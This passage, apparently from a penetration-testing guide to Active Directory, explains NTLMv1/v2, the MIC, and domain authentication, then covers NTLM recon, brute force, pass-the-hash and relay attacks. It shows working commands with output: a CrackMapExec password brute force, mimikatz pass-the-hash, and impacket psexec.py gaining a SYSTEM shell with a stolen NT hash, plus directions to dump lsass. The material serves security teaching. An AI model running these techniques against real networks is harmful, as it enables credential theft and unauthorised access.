\/>\nauthentication.<\/li>\n<\/ul>\n<p>Let&#8217;s see the differences between NTLMv1 and NTLMv2.<\/p>\n<h5 id=\"ntlmv1\">\nNTLMv1<\/h5>\n<p>In <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/464551a8-9fc4-428e-b3d3-bc5bfb2e73a5\">NTLMv1<\/a>, the NTLM response (NTLMv1 hash) to the server challenge is calculated<br \/>\nby using the NT hash to encrypt the server challenge with the DES algorithm. The<br \/>\nsession key is also encrypted with the NT hash directly.<\/p>\n<blockquote><p>NTLMv1 can be used with NTLMv2 Session Security, that is not NTLMv2, but an<br \/>\nextension to enhance security of NTLMv1.<\/p><\/blockquote>\n<figure>\n<pre>                    Server                  Client\n                   challenge               challenge\n                       |           (if NTLMv2 Session Security)\n                       |                       |\n                       '-----------.-----------'\n                                   |\n                                   v\n             .---&gt; LM hash --&gt;\nPassword ----|                   NTLMv1\n             '---&gt; NT hash --&gt;         \n                                   v\n                                   |\n                   .---------------|----------------.\n                   |               |                |\n                   v               v                v\n             NTv1 Response   LMv1 Response    Session Base Key\n             (NTLMv1 Hash)   (LMv1 Hash)\n<\/pre><figcaption>\nNTLMv1 Authentication<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"ntlmv2\">\nNTLMv2<\/h5>\n<p>However, in <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/5e550938-91d4-459f-b67d-75d70009e3f3\">NTLMv2<\/a> more data is taken into to protect the integrity<br \/>\nof the AUTHENTICATE message, and therefore, the integrity of the hole<br \/>\nsession. To calculate the response (NTLM hash), NTLMv2 takes into account:<\/p>\n<ul>\n<li>The server challenge<\/li>\n<li>A random generated client challenge<\/li>\n<li>The current timestamp<\/li>\n<li>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/83f5e789-660d-4781-8491-5f8c6641f75e\">AvPairs<\/a> field that contains information like server domain\/hostname or if<br \/>\nthe Mic is included in the message (MsvAvFlags). (In the docs the AvPairs is<br \/>\ndocumented as the confusing <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/5e550938-91d4-459f-b67d-75d70009e3f3\">ServerName field<\/a>)<\/li>\n<\/ul>\n<figure>\n<pre>                                                          .---\n                                                          | - Domain\n           Server       Client      Timestamp    AvPairs &lt;  - Dns \n          challenge    challenge        |           |     | - IsMicPresent?\n              |            |            |           |     | - Etc...\n              |            |            |           |     '---\n              '------------'-----.------'-----------'                         \n                                 |\n                                 v                                          \n  Password ---&gt; NT hash ----&gt;  NTLMv2\n                                 |\n                                 |\n                 .---------------|----------------.\n                 |               |                |\n                 v               v                v\n           NTv2 Response   LMv2 Response    Session Base Key\n           (NTLMv2 Hash)   (LMv2 Hash)\n<\/pre><figcaption>\nNTLMv2 Authentication<br \/>\n<\/figcaption><\/figure>\n<p>NTLMv2 concatenates all this data and applies an HMAC to calculate the<br \/>\nNTLM response, known as NTLMv2 hash. Furthermore, this data is also used to calculate<br \/>\nthe session key.<\/p>\n<h5 id=\"mic\">\nMIC<\/h5>\n<p>Additionally, to protect the integrity of the hole NTLM negotiation, the<br \/>\nAUTHENTICATE message includes a MIC. The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/f9e6fbc4-a953-4f24-b229-ccdcc213b9ec\">MIC is calculated<\/a> by applying an HMAC<br \/>\nover all the messages of the NTLM process with the session key.<\/p>\n<figure>\n<pre>           NEGOTIATE        CHALLENGE        AUTHENTICATE\n               |                |                 |\n               '----------------'-----------------'\n                                |\n                                v\n Exported Session Key ----&gt;  HMAC-MD5\n                                |\n                                v\n                               MIC\n<\/pre><figcaption>\nMIC calculation<br \/>\n<\/figcaption><\/figure>\n<p>Hence, the integrity of the 3 messages is preserved. And, in case of the<br \/>\nattacker removes the MIC, the authentication will fail, since the NTLMv2<br \/>\nresponse protects the flag that indicates that MIC is present. Nevertheless, in<br \/>\nthe past, the MIC has been the target of various investigations that discovered<br \/>\nthe <a href=\"https:\/\/www.preempt.com\/blog\/cve-2019-1040-windows-vulnerability\/\"><em>Drop the MIC<\/em><\/a> and <a href=\"https:\/\/www.preempt.com\/blog\/active-directory-ntlm-attacks\/\"><em>Drop the MIC 2<\/em><\/a> vulnerabilities.<\/p>\n<p>It must be noted, that NTLMv1 doesn&#8217;t take into account the NTLM flags to create<br \/>\nthe response. Therefore, in case of using NTLMv1, an attacker performing a<br \/>\n<a href=\"#ntlm-relay\">NTLM Relay<\/a> attack can just remove the MIC (and adjust the flags shown in<br \/>\n<a href=\"https:\/\/www.preempt.com\/blog\/cve-2019-1040-windows-vulnerability\/\"><em>Drop the MIC<\/em><\/a>) of the AUTHENTICATE message to tamper the data and, for<br \/>\ninstance, disabling the signing of application messages.<\/p>\n<h4 id=\"ntlm-in-active-directory\">\nNTLM in Active Directory<\/h4>\n<p>NTLM can be used both in Workgroups and in Active Directory. In this last case,<br \/>\nit allows to authenticate domain accounts in the machines of the network.<br \/>\nHowever, the NT hash is stored in the Active Directory <a href=\"#database\">database<\/a>, located in the<br \/>\n<a href=\"#domain-controllers\">Domain Controllers<\/a>.<\/p>\n<p>Therefore, in order to verify the AUTHENTICATE message for a domain account, the<br \/>\ntarget machine will send a Netlogon request to the DC asking it to verify the<br \/>\nclient response to the challenge. The DC verifies this response and returns the<br \/>\nnecessary information to the machine, such as the session key, in order to<br \/>\ncontinue with the application session.<\/p>\n<figure>\n<pre>  client            server                          DC\n    |                 |                              |\n    |                 |                              |\n    |    NEGOTIATE    |                              |\n    | --------------&gt; |                              |\n    |                 |                              |\n    |    CHALLENGE    |                              |\n    | &lt;-------------- |                              |\n    |                 |                              |\n    |   AUTHENTICATE  |  NetrLogonSamLogonWithFlags  |\n    | --------------&gt; | ---------------------------&gt; |\n    |                 |                              |\n    |                 |        ValidationInfo        |\n    |                 | &lt;--------------------------- |\n    |                 |                              |\n    |   application   |                              |\n    |    messages     |                              |\n    | --------------&gt; |                              |\n    |                 |                              |\n    | &lt;-------------- |                              |\n    |                 |                              |\n    | --------------&gt; |                              |\n    |                 |                              |\n<\/pre><figcaption>\nNTLM process with domain accounts<br \/>\n<\/figcaption><\/figure>\n<p>Moreover, NTLM can also be used for machines in different domains. In case the<br \/>\naccount used is from a different domain that the server, it must ask to the DC<br \/>\nto verify the AUTHENTICATE message, and the DC in turn must send the<br \/>\nAUTHENTICATE message to the DC of the user account domain (by using a <a href=\"#trusts\">trust<\/a>) in<br \/>\norder to verify it.<\/p>\n<figure>\n<pre>  client            server                          DC                      DC\n (it.foo.com)     (foo.com)                      (foo.com)         (it.foo.com)\n    |                 |                              |                       |\n    |                 |                              |                       |\n    |    NEGOTIATE    |                              |                       |\n    | --------------&gt; |                              |                       |\n    |                 |                              |                       |\n    |    CHALLENGE    |                              |                       |\n    | &lt;-------------- |                              |                       |\n    |                 |                              |                       |\n    |   AUTHENTICATE  |  NetrLogonSamLogonWithFlags  |  NetrLogonSamLogonEx  |\n    | --------------&gt; | ---------------------------&gt; | --------------------&gt; |\n    |                 |                              |                       |\n    |                 |      ValidationInfo          |    ValidationInfo     |\n    |                 | &lt;--------------------------- | &lt;-------------------- |\n    |                 |                              |                       |\n    |   application   |                              |                       |\n    |    messages     |                              |                       |\n    | --------------&gt; |                              |                       |\n    |                 |                              |                       |\n    | &lt;-------------- |                              |                       |\n    |                 |                              |                       |\n    | --------------&gt; |                              |                       |\n    |                 |                              |                       |\n<\/pre><figcaption>\nInter-domain NTLM process<br \/>\n<\/figcaption><\/figure>\n<p>This way, NTLM can be used in a Active Directory, even if usually Kerberos is<br \/>\nused instead since it is the default option in this environment.<\/p>\n<p>A trick to force NTLM authentication rather than Kerberos (in Windows built-in<br \/>\nutilities) is to connect to the target machine by specifying the IP address<br \/>\ninstead of the hostname, since Kerberos requires the hostname to identify the<br \/>\nmachine services.<\/p>\n<p>For example the command <code>dir \\dc01C$<\/code> will use Kerberos to authenticate<br \/>\nagainst the remote <a href=\"#shares\">share<\/a> while <code>dir \\192.168.100.2C$<\/code> will use NTLM.<\/p>\n<h4 id=\"ntlm-attacks\">\nNTLM Attacks<\/h4>\n<p>Now that we know how NTLM works, let&#8217;s talk about how it can be used in a<br \/>\npentest.<\/p>\n<h5 id=\"ntlm-recon\">\nNTLM Recon<\/h5>\n<p>NTLM can be useful for reconnaissance, since if the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832\">NTLMSSP_NEGOTIATE_TARGET_INFO<\/a> flag is sent in the NEGOTIATE message, then the<br \/>\nserver will return the TargetInfo field populated with <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/83f5e789-660d-4781-8491-5f8c6641f75e\">AvPairs<\/a> in the CHALLENGE<br \/>\nmessage, that contain several information related to the server like its<br \/>\nhostname and domain name.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/ntlm_recon_wireshark.png\" alt=\".\/ntlm_recon_wireshark.png\" title=\".\/ntlm_recon_wireshark.png\"><figcaption>\nServer information in NTLM CHALLENGE message<br \/>\n<\/figcaption><\/figure>\n<p>This information can be useful to identify the machine when we only know its IP<br \/>\nand a NTLM-friendly service like SMB or HTTP is available on the server. This<br \/>\ncan be used to perform reserve name resolution in networks.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ ntlm-info smb 192.168.100.0\/24\nTarget: 192.168.100.7\nNbComputer: WS02-7\nNbDomain: CONTOSO\nDnsComputer: ws02-7.contoso.local\nDnsDomain: contoso.local\nVersion: 6.1.7601\nOS: Windows 7 | Windows Server 2008 R2\nTarget: 192.168.100.10\nNbComputer: WS01-10\nNbDomain: CONTOSO\nDnsComputer: ws01-10.contoso.local\nDnsDomain: contoso.local\nDnsTree: contoso.local\nVersion: 10.0.19041\nOS: Windows 10 | Windows Server 2019 | Windows Server 2016<\/code><\/pre><figcaption>\nSMB scan<br \/>\n<\/figcaption><\/figure>\n<p>It can be used in an internal network, but also from the internet, since some<br \/>\nHTTP servers support NTLM, such as <a href=\"https:\/\/support.microsoft.com\/en-us\/office\/getting-started-in-outlook-web-app-0062c7be-f8e3-486e-8b14-5c1f793ceefd?ui=en-US&amp;rs=en-US&amp;ad=US\">Outlook Web App<\/a>.<\/p>\n<p>In case of internet this could reveal the name of the internal domain of an<br \/>\norganization, that can be useful to know in order to search for keys or password<br \/>\nleaks in github or to use it for bruteforcing attacks in VPN gateways panels.<\/p>\n<p>In order to retrieve NTLM information, you can use tools like <a href=\"https:\/\/github.com\/pwnfoo\/NTLMRecon\">NTLMRecon<\/a> (can<br \/>\nperform HTTP paths bruteforcing) or <a href=\"https:\/\/gitlab.com\/Zer1t0\/ntlm-info\">ntlm-info<\/a> (supports HTTP and SMB). You<br \/>\ncan also identify web endpoints that support NTLM with <a href=\"https:\/\/gitlab.com\/Zer1t0\/barrido\/-\/blob\/master\/wordlists\/ntlm.txt\">the following wordlist<\/a>.<\/p>\n<h5 id=\"ntlm-brute-force\">\nNTLM brute-force<\/h5>\n<p>Since NTLM is an authentication protocol, it can be use to test the user<br \/>\ncredentials or to launch a bruteforcing attack, by using any application<br \/>\nprotocol that supports. Usually <a href=\"#smb-shares\">SMB<\/a> is used, since it is available in Windows<br \/>\nmachines, but others like <a href=\"#sql-server\">MSSQL<\/a> or <a href=\"#http\">HTTP<\/a> could be used.<\/p>\n<p>A bruteforce attack with NTLM can be launch with tools like <a href=\"https:\/\/github.com\/vanhauser-thc\/thc-hydra\">hydra<\/a>, <a href=\"https:\/\/nmap.org\/nsedoc\/scripts\/smb-brute.html\">nmap<\/a>, <a href=\"https:\/\/github.com\/byt3bl33d3r\/CrackMapExec\/wiki\/SMB-Command-Reference#using-usernamepassword-lists\">cme<\/a>, or<br \/>\n<a href=\"https:\/\/github.com\/samratashok\/nishang\/blob\/master\/Scan\/Invoke-BruteForce.ps1\">Invoke-Bruteforce.ps1<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ cme smb 192.168.100.10 -u mahyar -p passwords.txt \nSMB         192.168.100.10  445    WS01-10          [*] Windows 10.0 Build 19041 x64 (name:WS01-10) (domain:contoso.local) (signing:False) (SMBv1:False)\nSMB         192.168.100.10  445    WS01-10          [-] contoso.localmahyar:1234 STATUS_LOGON_FAILURE \nSMB         192.168.100.10  445    WS01-10          [-] contoso.localmahyar:Vader! STATUS_LOGON_FAILURE \nSMB         192.168.100.10  445    WS01-10          [+] contoso.localmahyar:Vader1234! (Pwn3d!)<\/code><\/pre><figcaption>\nExample of NTLM bruteforce attack using cme<br \/>\n<\/figcaption><\/figure>\n<p>Nevertheless, you should be careful, since testing too much passwords for a<br \/>\nsingle account can block it. In this case the SMB response to the AUTHENTICATE<br \/>\nmessage will contain the code STATUS_ACCOUNT_LOCKED_OUT.<\/p>\n<p>Moreover, launching bruteforce attacks generates a lot of network traffic,<br \/>\nspecially for Active Directory accounts, since the target machine needs to<br \/>\nverify the credentials <a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/#session-key\">against the DC<\/a>.<\/p>\n<p>Also, bruteforcing attacks of domain accounts can be detected by <a href=\"https:\/\/docs.microsoft.com\/en-us\/advanced-threat-analytics\/what-is-ata\">Windows-ATA<\/a><br \/>\nsince this solution examines all the traffic that goes to the DCs.<\/p>\n<h5 id=\"pass-the-hash\">\nPass the hash<\/h5>\n<p>Another famous technique that uses the NTLM protocol is  <a href=\"https:\/\/en.hackndo.com\/pass-the-hash\/\">Pass-The-Hash<\/a> (PtH). As<br \/>\nyou may notice, the NTLM calculates the NTLM hash and session key based on the<br \/>\nNT hash of the client\/user. Therefore, if an attacker knows the client NT<br \/>\nhash it can use this hash to impersonate the client in a NTLM authentication,<br \/>\neven if the plain password is unknown.<\/p>\n<p>This attack is pretty relevant nowadays since Microsoft included many<br \/>\nprotections that prevent tools like <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a> from retrieving clear-text<br \/>\npasswords <a href=\"https:\/\/medium.com\/@markmotig\/some-ways-to-dump-lsass-exe-c4a75fdc49bf\">from lsass<\/a> process. However, it is still possible to extract the NT<br \/>\nhashes for the user accounts, except in case of <a href=\"https:\/\/docs.microsoft.com\/en-us\/archive\/blogs\/ash\/windows-10-device-guard-and-credential-guard-demystified\">credential guard<\/a> being enabled<br \/>\n(but also can <a href=\"https:\/\/teamhydra.blog\/2020\/08\/25\/bypassing-credential-guard\/\">be byppassed)<\/a>.<\/p>\n<p>To extract NT hashes from lsass you can use <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-sekurlsa#logonpasswords\">mimikatz sekurlsa::logonpasswords<\/a><br \/>\ncommand. Alternatively, you can <a href=\"https:\/\/www.c0d3xpl0it.com\/2016\/04\/extracting-clear-text-passwords-using-procdump-and-mimikatz.html\">dump the lsass process<\/a> with tools like<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/procdump\">procdump<\/a>, <a href=\"https:\/\/lolbas-project.github.io\/#\/dump\">sqldumper or others<\/a>, and copy the dump to your local machine to read<br \/>\nit with <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a>, <a href=\"https:\/\/github.com\/skelsec\/pypykatz\">pypykatz<\/a> or <a href=\"https:\/\/en.hackndo.com\/remote-lsass-dump-passwords\/\">read the dump remotely<\/a> with <a href=\"https:\/\/github.com\/Hackndo\/lsassy\">lsassy<\/a>.<\/p>\n<p>Furthermore, NT hashes can also being extracted <a href=\"https:\/\/www.hackingarticles.in\/credential-dumping-sam\/\">from the local SAM database<\/a> or<br \/>\nthe <a href=\"https:\/\/www.hackingarticles.in\/credential-dumping-ntds-dit\/\">NTDS.dit database in Domain Controllers<\/a>.<\/p>\n<p>In Windows machines you may need to <a href=\"https:\/\/www.praetorian.com\/blog\/inside-mimikatz-part1\/\">inject the NT hash in a process<\/a> with <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a> in<br \/>\norder to use it to authenticate against remote machines with built-in tools or<br \/>\nIT tools like <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/psexec\">PsExec<\/a>. Additionally, there are special tools like the <a href=\"https:\/\/github.com\/Kevin-Robertson\/Invoke-TheHash\">Invoke-TheHash<\/a><br \/>\nsuite that allows to pass the NT hash as a parameter.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">PS C:UsersmahyarDownloads&gt; .mimikatz.exe\n  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n ## \/  ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ##  \/ ##       &gt; https:\/\/blog.gentilkiwi.com\/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        &gt; https:\/\/pingcastle.com \/ https:\/\/mysmartlogon.com ***\/\nmimikatz # sekurlsa::pth \/user:Administrator \/domain:contoso.local \/ntlm:b73fdfe10e87b4ca5c0d957f81de6863\nuser    : Administrator\ndomain  : contoso.local\nprogram : cmd.exe\nimpers. : no\nNTLM    : b73fdfe10e87b4ca5c0d957f81de6863\n  |  PID  1080\n  |  TID  2664\n  |  LSA Process is now R\/W\n  |  LUID 0 ; 2124820 (00000000:00206c14)\n  _ msv1_0   - data copy @ 000001E6F01AE490 : OK !\n  _ kerberos - data copy @ 000001E6EF86CCD8\n   _ des_cbc_md4       -&gt; null\n   _ des_cbc_md4       OK\n   _ des_cbc_md4       OK\n   _ des_cbc_md4       OK\n   _ des_cbc_md4       OK\n   _ des_cbc_md4       OK\n   _ des_cbc_md4       OK\n   _ *Password replace @ 000001E6F01D7E38 (32) -&gt; null<\/code><\/pre><figcaption>\nPass-The-Hash with mimikatz<br \/>\n<\/figcaption><\/figure>\n<blockquote><p>Notice that when an NT hash (or Kerberos ticket) of other user is<br \/>\ninjected, this will only allows you to impersonate the other user in remote<br \/>\nconnections, not in the local computer.<\/p><\/blockquote>\n<p>On the other part, to perform a Pass-The-Hash from a Linux machine, you can use<br \/>\nthe <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">impacket<\/a> suite, whose scripts accept the NT hash directly as a parameter.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ psexec.py contoso.local\/mahyar@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Requesting shares on 192.168.100.10.....\n[*] Found writable share ADMIN$\n[*] Uploading file WFKqIQpM.exe\n[*] Opening SVCManager on 192.168.100.10.....\n[*] Creating service AoRl on 192.168.100.10.....\n[*] Starting service AoRl.....\n[!] Press help for extra shell commands\nThe system cannot find message text for message number 0x2350 in the message file for Application.\n(c) Microsoft Corporation. All rights reserved.\nb'Not enough memory resources are available to process this command.rn'\nC:Windowssystem32&gt;whoami\nnt authoritysystem<\/code><\/pre><figcaption>\nPass-The-Hash with psexec.py of impacket<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"ntlm-relay\">\nNTLM Relay<\/h5>\n<p>Let&#8217;s talk now about one of the most famous attacks that involve NTLM, the<br \/>\n<a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/\">NTLM Relay<\/a> attack.<\/p>\n<blockquote><p>To get more information about NTLM relay attacks, please check the <a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/\"><em>NTLM Relay<\/em><\/a><br \/>\npost, that includes a great <a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/#what-can-be-relayed\">NTLM Relay matrix<\/a>.<\/p><\/blockquote>\n<p>The NTLM Relay attack consist of an attacker that performs a<br \/>\nPerson-in-The-Middle and takes advantage of its intermediary position to<br \/>\nredirect the NTLM authentication to a server of its interest to get an<br \/>\nauthenticated session.<\/p>\n<figure>\n<pre>    client                 attacker               server\n      |                       |                     |\n      |                       |                -----|--.\n      |     NEGOTIATE         |     NEGOTIATE       |  |\n      | --------------------&gt; | ------------------&gt; |  |\n      |                       |                     |  |\n      |     CHALLENGE         |     CHALLENGE       |  |&gt; NTLM Relay\n      | &lt;-------------------- | &lt;------------------ |  |\n      |                       |                     |  | \n      |     AUTHENTICATE      |     AUTHENTICATE    |  |\n      | --------------------&gt; | ------------------&gt; |  |\n      |                       |                -----|--'\n      |                       |    application      |\n      |                       |     messages        |\n      |                       | ------------------&gt; |\n      |                       |                     |\n      |                       | &lt;------------------ |\n      |                       |                     |\n      |                       | ------------------&gt; |\n      |                       |                     |\n<\/pre><figcaption>\nNTLM relay attack<br \/>\n<\/figcaption><\/figure>\n<p>The flaw of the NTLM relay attack is that, even if the attacker is<br \/>\nauthenticated, it <strong>doesn&#8217;t know the session key<\/strong>, which is encrypted in the<br \/>\ntransmission, and it is needed to sign and\/or encrypt (seal) messages.<br \/>\nTherefore, if signing is negotiated between client and server, the attacker<br \/>\nwon&#8217;t be able to generate valid signatures for the application messages, thus<br \/>\nbecoming unable to talk with the server, so the attack fails.<\/p>\n<p>However, even if the client and server wants to negotiate signing, the attacker<br \/>\ncould tamper the messages in order to unset this flags. In order to avoid this,<br \/>\nas we have seen, the AUTHENTICATE message includes a <a href=\"#domain-controllers\">MIC<\/a>, that is a signature<br \/>\nthat takes into account all the NTLM messages. Finally if server checks the MIC<br \/>\nand doesn&#8217;t correspond with the signature of the original messages, it aborts the<br \/>\nconnection.<\/p>\n<p>Notwithstanding, since it is an optional field, an attacker could also remove<br \/>\nthe MIC and <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/83f5e789-660d-4781-8491-5f8c6641f75e\">change the flags (in the AvPairs)<\/a> to specify that MIC is not present<br \/>\n(it cannot modify the MIC since is calculated with the session key).<\/p>\n<p>Hence, to protect the MIC, NTLMv2 uses the value of the AvPairs (including the<br \/>\nMIC flag) included in the AUTHENTICATE message to calculate the challenge<br \/>\nresponse. If the attacker modify the flag that indicates the MIC presence in the<br \/>\nAvPairs, then the challenge response checking will fail in the target server and<br \/>\nthe session will be finished. It should be noted that <strong>NTLMv1 doesn&#8217;t protect<br \/>\nthe MIC<\/strong>, so it is vulnerable to message tampering.<\/p>\n<blockquote><p>As a curiosity, before the <a href=\"https:\/\/www.coresecurity.com\/core-labs\/advisories\/windows-pass-through-authentication-methods-improper-validation\">CVE-2015-005<\/a>, in case of use <a href=\"#ntlm-in-active-directory\">NTLM with domain<br \/>\naccounts<\/a>, an attacker could use the Netlogon call (NetrLogonSamLogonWithFlags) to<br \/>\nask the DC to verify the AUTHENTICATE message and return the session key, so an<br \/>\nattacker could use this to bypass the signing restriction.<\/p><\/blockquote>\n<p>Notwithstanding, this is not the end of the history. NTLM allows to negotiate<br \/>\nsigning by using the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832\">NTLM flag<\/a> <em>NTLMSSP_NEGOTIATE_SIGN<\/em>. That can be set by<br \/>\nclient and server. However, that both <strong>set this flag doesn&#8217;t guarantee that<br \/>\nsigning is going to be used<\/strong>. It depends on the application protocol. Also, it<br \/>\nis common that there are 3 signing states: Not Supported, Supported, Required.<\/p>\n<p>For example, in the case of <a href=\"#smb-shares\">SMB<\/a>, it includes its own sign flags (<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-smb2\/e14db7ff-763a-4263-8b10-0c3944f52fc5\">SecurityMode<\/a>)<br \/>\nthat determines if the signing is supported\/required or not. Therefore, in SMB<br \/>\ncommunications the NTLM flag <em>NTLMSSP_NEGOTIATE_SIGN<\/em> is set to indicate that<br \/>\nsigning is supported, but it is necessary to check the SMB flags in order to<br \/>\ndetermine if communication is going to be signed. Moreover, this behaviour is<br \/>\ndifferent based on the SMB version. Here I will let you a copy of the<br \/>\n<a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/#signature-matrix\">SMB signing matrixes<\/a>.<\/p>\n<p>In case of SMB1 there are 3 signing states: Disabled, Enabled and Required.<br \/>\nRequired.<\/p>\n<figure>\n<table>\n<thead>\n<tr>\n<th>clientserver<\/th>\n<th>Required<\/th>\n<th>Enabled<\/th>\n<th>Disabled<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Required<\/td>\n<td>Signed<\/td>\n<td>Signed<\/td>\n<td>Signed<\/td>\n<\/tr>\n<tr>\n<td>Enabled<\/td>\n<td>Signed (Default DCs)<\/td>\n<td>Signed<\/td>\n<td>Not Signed (Default)<\/td>\n<\/tr>\n<tr>\n<td>Disabled<\/td>\n<td>Signed<\/td>\n<td>Not Signed<\/td>\n<td>Not Signed<\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption>\nSMB1 signing matrix<br \/>\n<\/figcaption><\/figure>\n<p>However, in case of SMB2 signing is always enabled but there are 2 states:<br \/>\nRequired and Not Required.<\/p>\n<figure>\n<table>\n<thead>\n<tr>\n<th>clientserver<\/th>\n<th>Required<\/th>\n<th>Not Required<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Required<\/td>\n<td>Signed<\/td>\n<td>Signed<\/td>\n<\/tr>\n<tr>\n<td>Not Required<\/td>\n<td>Signed (Default DCs)<\/td>\n<td>Not Signed (Default)<\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption>\nSMB2 signing matrix<br \/>\n<\/figcaption><\/figure>\n<p>As you can see, both in <strong>SMB1 and SMB2, by default the client has the signing<br \/>\nEnabled (but not required)<\/strong>, so the NTLM flag <em>NTLMSSP_NEGOTIATE_SIGN<\/em> is<br \/>\nset. However the servers only have the <em>NTLMSSP_NEGOTIATE_SIGN<\/em> flag set in<br \/>\nSMB2, with the exception of <strong>DCs that always require SMB signing<\/strong>. This must be<br \/>\ntaken into account when performing cross-protocol NTLM relay attack.<\/p>\n<p>Another common protocol that uses NTLM is <a href=\"#ldap\">LDAP<\/a>, that also has three levels of<br \/>\nsigning: Required, Enabled and Disabled. However, unlike SMB, LDAP protocol<br \/>\ndoesn&#8217;t have signing flags, so the negotiation is based on the<br \/>\n<em>NTLMSSP_NEGOTIATE_SIGN<\/em> flag of NTLM, that it is set when LDAP is at least<br \/>\nsupported\/enabled. The following matrix identifies the cases:<\/p>\n<figure>\n<table>\n<thead>\n<tr>\n<th>clientserver<\/th>\n<th>Required<\/th>\n<th>Enabled<\/th>\n<th>Disabled<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Required<\/td>\n<td>Signed<\/td>\n<td>Signed<\/td>\n<td>Not Supported<\/td>\n<\/tr>\n<tr>\n<td>Enabled<\/td>\n<td>Signed<\/td>\n<td>Signed (Default)<\/td>\n<td>Not Signed<\/td>\n<\/tr>\n<tr>\n<td>Disabled<\/td>\n<td>Not Supported<\/td>\n<td>Not Signed<\/td>\n<td>Not Signed<\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption>\nLDAP signing matrix<br \/>\n<\/figcaption><\/figure>\n<blockquote><p>It is possible to <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/enable-ldap-signing-in-windows-server\">modify the LDAP signing configuration<\/a> for both client and<br \/>\nserver by applying GPOs.<\/p><\/blockquote>\n<p>As you can see, when both the client and the server have the signing enabled<br \/>\n(that means that is supported), the communication is signed. Besides, it must be<br \/>\ntaken into account that <strong>DCs do not enforce LDAP signing by default<\/strong>, so a<br \/>\nclient can establish an unsigned session with a DC.<\/p>\n<p>This should be enough information to deduce that a cross-protocol relay attack<br \/>\ncan be performed from LDAP to SMB2 (in the default case), but not SMB2 to<br \/>\nLDAP.<\/p>\n<figure>\n<pre>    client &lt;-----SMB2----&gt; attacker &lt;----LDAP---&gt; server\n      |                       |                     |\n      |                       |                -----|--.\n      |   NEGOTIATE SIGN=1    |  NEGOTIATE SIGN=1   |  |\n      | --------------------&gt; | ------------------&gt; |  |\n      |                       |                     |  |\n      |   CHALLENGE SIGN=1    |  CHALLENGE SIGN=1   |  |&gt; NTLM Relay\n      | &lt;-------------------- | &lt;------------------ |  |\n      |                       |                     |  | \n      |  AUTHENTICATE SIGN=1  | AUTHENTICATE SIGN=1 |  |\n      | --------------------&gt; | ------------------&gt; | -|---&gt; MIC OK!! \n      |                       |                -----|--'\n      |                       |         ||          |\n      |                       |         vv          |\n      |                       |    client SIGN = 1  |\n      |                       |    server SIGN = 1  |\n      |                       |         ||          |\n      |                       |         vv          |\n      |                       |   Signing required  |\n      |                       |    Attack failed    |\n      |                       |                     |\n<\/pre><figcaption>\nCross-protocol NTLM Relay from SMB2 to LDAP (default case).<br \/>\n<\/figcaption><\/figure>\n<p>As we seen earlier, SMB2 always set the <em>NTLMSSP_NEGOTIATE_SIGN<\/em>, therefore, if<br \/>\nwe relay this NTLM messages to a LDAP server that supports signing, then signing<br \/>\nis negotiated and the attack fails. Remember that NTLM messages cannot be<br \/>\ntampered since MIC is protecting then (in NTLMv2).<\/p>\n<p>In the contrary case and attacker can negotiate with the SMB2 server that<br \/>\nsigning is not required by using the SMB headers 